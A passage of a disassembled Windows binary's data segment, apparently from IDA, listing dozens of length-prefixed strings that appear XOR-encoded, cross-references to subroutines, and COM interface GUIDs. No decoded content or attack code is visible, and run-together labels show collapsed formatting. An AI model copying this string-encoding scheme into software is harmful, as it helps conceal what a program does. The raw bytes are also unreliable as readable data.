8F878B84h, 0C9999DC4h dd 848F9A85h, 81848B88h, 878589C4h, 9E8B9EC9h, 8C8F84C7h dd 848B889Eh, 9F98C481h, 898F99C9h, 0C4888B86h, 99C99F98h dd 989F898Fh, 86939E83h, 98C4888Bh, 8F8CC99Fh, 988B829Eh dd 8388C48Eh, 988DC990h, 9A928485h, 8F848B86h, 98C4999Eh dd 8F9CC99Fh, 98858E84h, 878B8499h, 849CC48Fh db 0C9h, 0 word_552302 dw 4 ; DATA XREF: sub_43ECB6+70o dd 474F5A7Fh db 27h, 0 word_55230A dw 12h ; DATA XREF: sub_43EBF8:loc_43EC37o dd 767D4C0Fh, 615A7B7Fh, 7B607D7Fh, 4B7B6C6Ah, 6E7B6Eh dword_552320 dd 82E1000Bh, 95919893h, 85CFD3D2h db 2 dup(8Dh), 0 byte_55232F db 0Bh ; DATA XREF: sub_43EBF8+1o dd 7C6D0E00h, 3D7A7E77h, 626A203Ch db 62h, 0 word_55233E dw 13h ; DATA XREF: sub_43E7A3+3F0o dd 8193B7Ch, 0E0E093Fh, 2C081219h, 191F130Eh, 18350F0Fh db 0 byte_552355 db 9, 0, 0F7h ; DATA XREF: sub_43E7A3+3DBo aAeugtUit db ' …ƒ’±›’',0 word_552362 dw 11h ; DATA XREF: sub_43E7A3+3C6o dd 0F0E1C384h, 0EFF7EDC0h, 0E1E1F6C2h, 0E7E5F4D7h db 0E1h, 0C5h, 0 byte_552377 db 16h ; DATA XREF: sub_43E7A3+3B1o dd 0B694D300h, 0A5BD96A7h, 0BDBCA1BAh, 0A7BDB6BEh, 0BAA1A780h dd 92A0B4BDh db 0 byte_552391 db 13h, 0, 55h ; DATA XREF: sub_43E7A3+39Co dd 6213012h, 3021262Ch, 273C1138h, 3A213630h, 142C27h dword_5523A8 dd 4D0A000Ch, 6F5E7E6Fh, 6B5A7A67h, 4B627Ehdword_5523B8 dd 0E9850008h, 0E9F7F1F6h, 0D2EBE0hdword_5523C4 dd 0FBBC000Eh, 0D3F0C8D9h, 0D9D0DDDFh, 0D3DAD2F5h ; DATA XREF: sub_43E7A3+35Do db 0FDh, 0 word_5523D6 dw 0Dh ; DATA XREF: sub_43E7A3+348o aKiIDIsIm db 'ÍŠ¨¹‰¿¤»¨™´½¨Œ',0 asc_5523E7 db 0Bh,0 ; DATA XREF: sub_43E7A3+333o db 86h, 0C5h, 0EAh dd 0CEE3F5E9h, 0EAE2E8E7h db 0E3h, 0 word_5523F6 dw 0Eh ; DATA XREF: sub_43E7A3+31Eo dd 0D2C3F5A6h, 0C3CACFE0h, 0C8CFC9F6h, 0D4C3D2h dword_552408 dd 6D21000Ch, 6D45404Eh, 40534348h, 605853hdword_552418 dd 6F3D000Dh, 58675149h, 5870524Fh, 444F5250h db 0 byte_552429 db 7, 0, 37h ; DATA XREF: sub_43E7A3+2DFo aYrort db '`^YrORT',0 asc_552434: ; DATA XREF: sub_43E7A3+2CAo dw 0Ah dw 0FBBEh db 'Æ×ÊêÖÌÛßÚ',0 word_552442 dw 14h ; DATA XREF: sub_43E7A3+2B5o dd 23391E57h, 383B2532h, 33323C34h, 2534391Eh, 39323A32h db 23h, 0 word_55245A dw 0Dh ; DATA XREF: sub_43E7A3+2A0o a?yvqQzgkyvsz db '?yVQ[qZGKyVSZ~',0 asc_55246B db 0Dh,0 ; DATA XREF: sub_43E7A3+28Bo aKiUIasdai db 'ÍŠ¨¹´¾¹¨ ™¤ ¨',0 dword_55247C dd 581F000Ch, 764B6B7Ah, 705C747Ch, 6B716Ahdword_55248C dd 8ACD0010h, 0A280B9A8h, 0A8A1B8A9h, 0A9A3AC85h, 8CA8A1h ; DATA XREF: sub_43E7A3+261o dword_5524A0 dd 7127000Bh, 5253554Eh, 55614B46h db 2 dup(42h), 0 byte_5524AF db 0Bh ; DATA XREF: sub_43E7A3+237o dd 11206300h, 6170206h, 60F0A25h asc_5524BC: ; DATA XREF: sub_43E7A3+222o unicode 0, <"> dw 0Ah dw 0B2FDh aNsuIise db '˜“°ˆ‰˜…¼',0 asc_5524CC: ; DATA XREF: sub_43E7A3+20Do dw 0Bh dw 0C384h dd 0EDC2F0E1h, 0EDD7E1E8h db 0FEh, 0E1h, 0 byte_5524DB db 0Bh ; DATA XREF: sub_43E7A3+1F8o dd 497D3B00h, 52775E5Eh, 495A4959h db 42h, 0 word_5524EA dw 0Ch ; DATA XREF: sub_43E7A3+1E3o dd 8398A7F1h, 9D908485h, 9E9D9DB0h db 92h, 0 word_5524FA dw 10h ; DATA XREF: sub_43E7A3+1CEo aNlJfdyLGhdlh db ')nL]jFDY\]L[gHDLh',0 asc_55250E db 0Bh,0 ; DATA XREF: sub_43E7A3+1B9o a6yfsxfdyusee db '6yFSXfDYUSEE',0 byte_55251D db 17h, 0, 0ECh ; DATA XREF: sub_43E7A3+1A4o aKuiiivEugvbivs db 'ª‰‰©‚š…ƒ‚‰‚˜¿˜…‚‹Ÿ',0 dword_552538 dd 0FDBB000Eh, 0FDDFD5D2h, 0CFC8C9D2h, 0DED7D2FDh ; DATA XREF: sub_43E7A3+18Fo db 0FAh, 0 word_55254A dw 0Ch ; DATA XREF: sub_43E7A3+17Ao dd 0D8CFFEBDh, 0F0D8C9DCh, 0C5D8C9C8h db 0FCh, 0 word_55255A dw 14h ; DATA XREF: sub_43E7A3+165o dd 0C5DFF8B1h, 0DEDDC3D4h, 0D5D4DAD2h, 0C3D2D4F5h, 0DFD4DCD4h db 0C5h, 0 word_552572 dw 14h ; DATA XREF: sub_43E7A3+150o dd 989DB2F4h, 999DA091h, 0A79BA091h, 9180878Dh, 999DA099h db 91h, 0 word_55258A dw 0Dh ; DATA XREF: sub_43E7A3+13Bo dd 0FFEECC8Bh, 0F8F9EEDDh, 0CEE5E4E2h db 0F3h, 0CAh, 0 byte_55259B db 9 ; DATA XREF: sub_43E7A3+126o dd 2F034000h, 29063930h, 1252Ch dword_5525A8 dd 0D89F0015h, 0F0C9EBFAh, 0FAF2EAF3h, 0F0F9F1D6h, 0EBFEF2EDh ; DATA XREF: sub_43E7A3+111o dd 0DEF1F0F6h db 0 byte_5525C1 db 8, 0, 45h ; DATA XREF: sub_43E7A3+FCo dd 21242017h, 20292C03h db 0 byte_5525CD db 13h, 0, 90h ; DATA XREF: sub_43E7A3+E7o dd 0F5F4F9C7h, 0E2F1F8D3h, 0E5DDFFC4h, 0D2F9E4FCh, 0F5E4E9h dword_5525E4 dd 4D0E000Fh, 6F7E6361h, 67486B7Ch, 675A6B62h db 63h, 6Bh, 0 byte_5525F7 db 11h ; DATA XREF: sub_43E7A3+BDo dd 34165100h, 38291425h, 353E1225h, 23390534h, 353034h dword_55260C dd 460B0013h, 627F677Eh, 6E7F7249h, 625C645Fh, 63486E6Fh ; DATA XREF: sub_43E7A3+A8o db 6Ah, 79h, 0 byte_552623 db 9 ; DATA XREF: sub_43E7A3+93o dd 9EBDF100h, 0B79D9092h, 949483h dword_552630 dd 0D88F0013h, 0C9FBE6EEh, 0E6DCFDE0h, 0EAE3E8E1h, 0EAE5EDC0h ; DATA XREF: sub_43E7A3+7Eo db 0ECh, 0FBh, 0 byte_552647 db 12h ; DATA XREF: sub_43E7A3+69o dd 25074000h, 242F0D34h, 6252C35h, 0E252C29h, 1252D21h db 0 byte_55265D db 0Bh, 0, 52h ; DATA XREF: sub_43E7A3+54o dd 373E3716h, 3B143726h, 13373Eh dword_55266C dd 0AEFD000Ch, 8FB88998h, 0B08F928Fh, 989992hdword_55267C dd 0F7B10009h, 0F2D5DFD8h, 0D4C2DEDDh db 0 byte_552689 db 0Ah, 0, 42h ; DATA XREF: sub_43E7A3+15o dd 23212D0Eh, 2E2E032Eh db 2Dh, 21h, 0 byte_552697 db 12h ; DATA XREF: sub_43E7A3o dd 0FCDE9900h, 0EBECDAEDh, 0EDF7FCEBh, 0FCEBF1CDh, 0FDD0FDF8h db 0 byte_5526AD db 6, 0, 4 ; DATA XREF: sub_43E501:loc_43E609o db '!\)!\%',0 asc_5526B7 db 7,0 ; DATA XREF: sub_43E501+58o db 0D4h, 88h, 0A4h dd 0B8B0FAFEh db 0B8h, 0 word_5526C2 dw 6 ; DATA XREF: sub_43E397+150o aWpvgep db '$WPVGEP',0 dword_5526CC dd 1C710006h, 1121C14h db 8, 0 word_5526D6 dw 8 ; DATA XREF: sub_43E397+126o dd 0C0F0A7Ch, 812150Eh db 1Ah, 0 word_5526E2 dw 7 ; DATA XREF: sub_43E397+111o aW91 db 'W$',27h,'%>9#1',0 asc_5526ED db 7,0 ; DATA XREF: sub_43E397+FCo db 9Fh dd 0EFEAF0EBh, 0EDFAEFh dword_5526F8 dd 77160004h, 7F7962hdword_552700 dd 0D5B80006h, 0D7D4D4D9h db 0DBh, 0 word_55270A dw 5 ; DATA XREF: sub_43E397+BDo dd 1D0E0F7Ch db 12h, 18h, 0 byte_552713 db 6 ; DATA XREF: sub_43E397+A8o dd 4B673800h, 485D5D54h db 0 byte_55271D db 4, 0, 0A5h ; DATA XREF: sub_43E397+93o db 'Ã×ÀÀ',0 byte_552725 db 4, 0, 87h ; DATA XREF: sub_43E397+7Eo dd 0E3E9E6F5h db 0 byte_55272D db 6, 0, 0E8h ; DATA XREF: sub_43E397+69o aEneles db '……‹…˜',0 byte_552737 db 6 ; DATA XREF: sub_43E397+54o dd 0C1C6B500h, 0CCC5D6C7h db 0 byte_552741 db 6, 0, 0E8h ; DATA XREF: sub_43E397:loc_43E3D6o aEnein db '……›œ',0 asc_55274B db 0Ah,0 ; DATA XREF: sub_43E397+28o db 0D9h, 0BAh, 0ABh dd 0B5B5BDADh, 0B5B5BDF7h db 0 byte_552759 db 0Ah, 0, 0F9h ; DATA XREF: sub_43E397+1o aLnaxxAxx db 'š‹••×••',0 byte_552767 db 0 ; DATA XREF: sub_43E284:loc_43E2E5o db 0, 9Eh, 0 byte_55276B db 5 ; DATA XREF: sub_43DE84+23Do dd 782E0B00h, 782E57h dword_552774 dd 0D8FD0005h, 8ED8A18Eh db 0 byte_55277D db 4, 0, 78h ; DATA XREF: sub_43DE84+Fo aR db ']',0Bh,'$R',0 byte_552785 db 4, 0, 39h ; DATA XREF: sub_43DE1F+1Co dd 65035A1Ch db 0 byte_55278D db 14h, 0, 0B4h ; DATA XREF: sub_43DD23:loc_43DD6Bo dd 0DBC0E7E4h, 0C6F7D1C6h, 0D1C0D5D1h, 0C0C7DAFDh, 0D1D7DAD5h db 0 byte_5527A5 db 0Bh, 0, 35h ; DATA XREF: sub_43DD23+31o aEfazgpvQyy db 'EFAZGPV',1Bh,'QYY',0 asc_5527B4 db 0Bh,0 ; DATA XREF: sub_43DD23+1o dw 1363h dd 110C1710h, 74D0006h db 2 dup(0Fh), 0 byte_5527C3 db 6 ; DATA XREF: sub_43DC76+2Do ; sub_446ED7+223o dd 0B0B0DB00h, 0A3ADF6AAh db 0 byte_5527CD db 8, 0, 0E3h ; DATA XREF: sub_43DC76:loc_43DC93o aROciC db 'Ƽ—›Æ–',0 byte_5527D9 db 11h, 0, 0DCh ; DATA XREF: sub_43DA83+24o dd 0B9A8B295h, 0A8B9B2AEh, 0ACA499FCh, 0B9AEB3B0h db 0AEh, 0 word_5527EE dw 10h ; DATA XREF: sub_43D309:loc_43D351o dd 0E7E8F3A0h, 0CFE6D4C5h, 0D2C5C4CCh, 0C8D4C1F0h db 0E1h, 0 word_552802 dw 0Bh ; DATA XREF: sub_43D309+31o dd 171A0172h, 40411E1Eh, 1E1E165Ch db 0 byte_552811 db 0Bh, 0, 5Eh ; DATA XREF: sub_43D309+1o a622mlp22 db '-6;22mlp:22',0 dword_552820 dd 65390001h db 0 byte_552825 db 5, 0, 0EBh ; DATA XREF: sub_43B5D8+806o aPkqk db 'ÅŠŸŠ',0 word_55282E dw 16h ; DATA XREF: sub_43A324+EF4o dd 52A69h, 2649020Ah, 490C0A07h, 2A49063Dh, 1D0706h, 0C1C07h dword_552848 dd 0ABE90006h, 0A6BDBDBCh db 0A7h, 0 word_552852 dw 1Eh ; DATA XREF: sub_43A324+E29o dd 464E5316h, 4257445Fh, 3658595Fh, 53425752h, 571C1C1Ch dd 46365B42h, 5536585Fh, 535259h dword_552874 dd 40130006h, 5A475247h db 50h, 0 word_55287E dw 0 ; DATA XREF: sub_43A324+D37o db 10h, 0 word_552882 dw 4 ; DATA XREF: sub_43A324+D27o dd 101D1C59h db 0Dh, 0 word_55288A dw 6 ; DATA XREF: sub_43A324+C9Fo aFtvcht3 db 'Ftvcht3',0 dword_552894 dd 0BF9A0004h, 0EFA8B4hdword_55289C dd 0B80000h dword_5528A0 dd 3A790008h, 363B3436h, 21363Bhoff_5528AC dd offset dword_460000 ; DATA XREF: sub_43A324+A9Ao dword_5528B0 dd 0F0B30008h, 0FCF1FEFCh, 0EBFCF1hdword_5528BC dd 6E3D0006h, 74697C69h db 7Eh, 0 word_5528C6 dw 6Eh ; DATA XREF: sub_43A324:loc_43AC53o dd 303F0451h, 71343D33h, 30713E25h, 3E392524h, 342B3823h dd 22745B7Fh, 3E232171h, 22223432h, 71363F38h, 253F3432h dd 38712334h, 3F247122h, 343D3330h, 713E2571h, 39252430h dd 2B38233Eh, 3E287134h, 32712324h, 71352330h, 5B7F2274h dd 343A301Ch, 233E3271h, 25323423h, 223F3E38h, 353F3071h dd 28232571h, 30363071h, 7F3F38h dword_552938 dd 0ABE6000Ah, 83929587h, 9487A594h db 82h, 0 word_552946 dw 4 ; DATA XREF: sub_43A324+8FDo dd 0E9F3ECBAh db 0FBh, 0 word_55294E dw 1 ; DATA XREF: sub_43A324+828o db 47h, 67h, 0 byte_552953 db 6 ; DATA XREF: sub_43A324+818o dd 0CCCB9800h, 0DBD1CCD9h db 0 byte_55295D db 15h, 0, 53h ; DATA XREF: sub_43A324+6E7o dd 73737359h, 101C0103h, 1A000016h, 1573141Dh, 161F1A12h db 17h, 0 word_552976 dw 6 ; DATA XREF: sub_43A324+6D7o aQOJm db 'ï¼»®»¦¬',0 dword_552980 dd 3B0000h dword_552984 dd 0F1A20006h, 0EBF6E3F6h db 0E1h, 0 word_55298E dw 6 ; DATA XREF: sub_43A324+4FEo dd 150F0F64h, 1C1249h dword_552998 dd 5C190008h, 76756961h, 6B7C6Bhdword_5529A4 dd 85C10009h, 0A38EA2AEh, 0B5A2A4ABh db 0 byte_5529B1 db 0Eh, 0, 9Ah ; DATA XREF: sub_43A324+421o dd 0CDF8FBCEh, 0F5FEF4F3h, 0FBF6D9EDh, 3A00E9E9h, 2F2Fh dword_5529C8 dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5529D8 dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h ; sub_443B74+1F2o ... dword_5529E8 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh ; DATA XREF: sub_43B556:loc_43B5A2o ; sub_43E652+D3o ... dword_5529F8 dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43FA81:loc_43FACDo dword_552A08 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_552A18 dd 20400h, 0 ; sub_43FA81:loc_43FAADo ... dd 0C0h, 46000000h dword_552A28 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_44496E+188o dword_552A38 dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44726D+89o dword_552A48 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44496E+54Eo ... dword_552A58 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A68 dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A78 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_552A88 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_552A98 dd 2 dup(0) ; sub_43FA81+Co ... dd 0C0h, 46000000h dword_552AA8 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 52h dup(0) ; DATA XREF: sub_43E652+9Eo ; sub_440A1B+A7o ... _data ends end start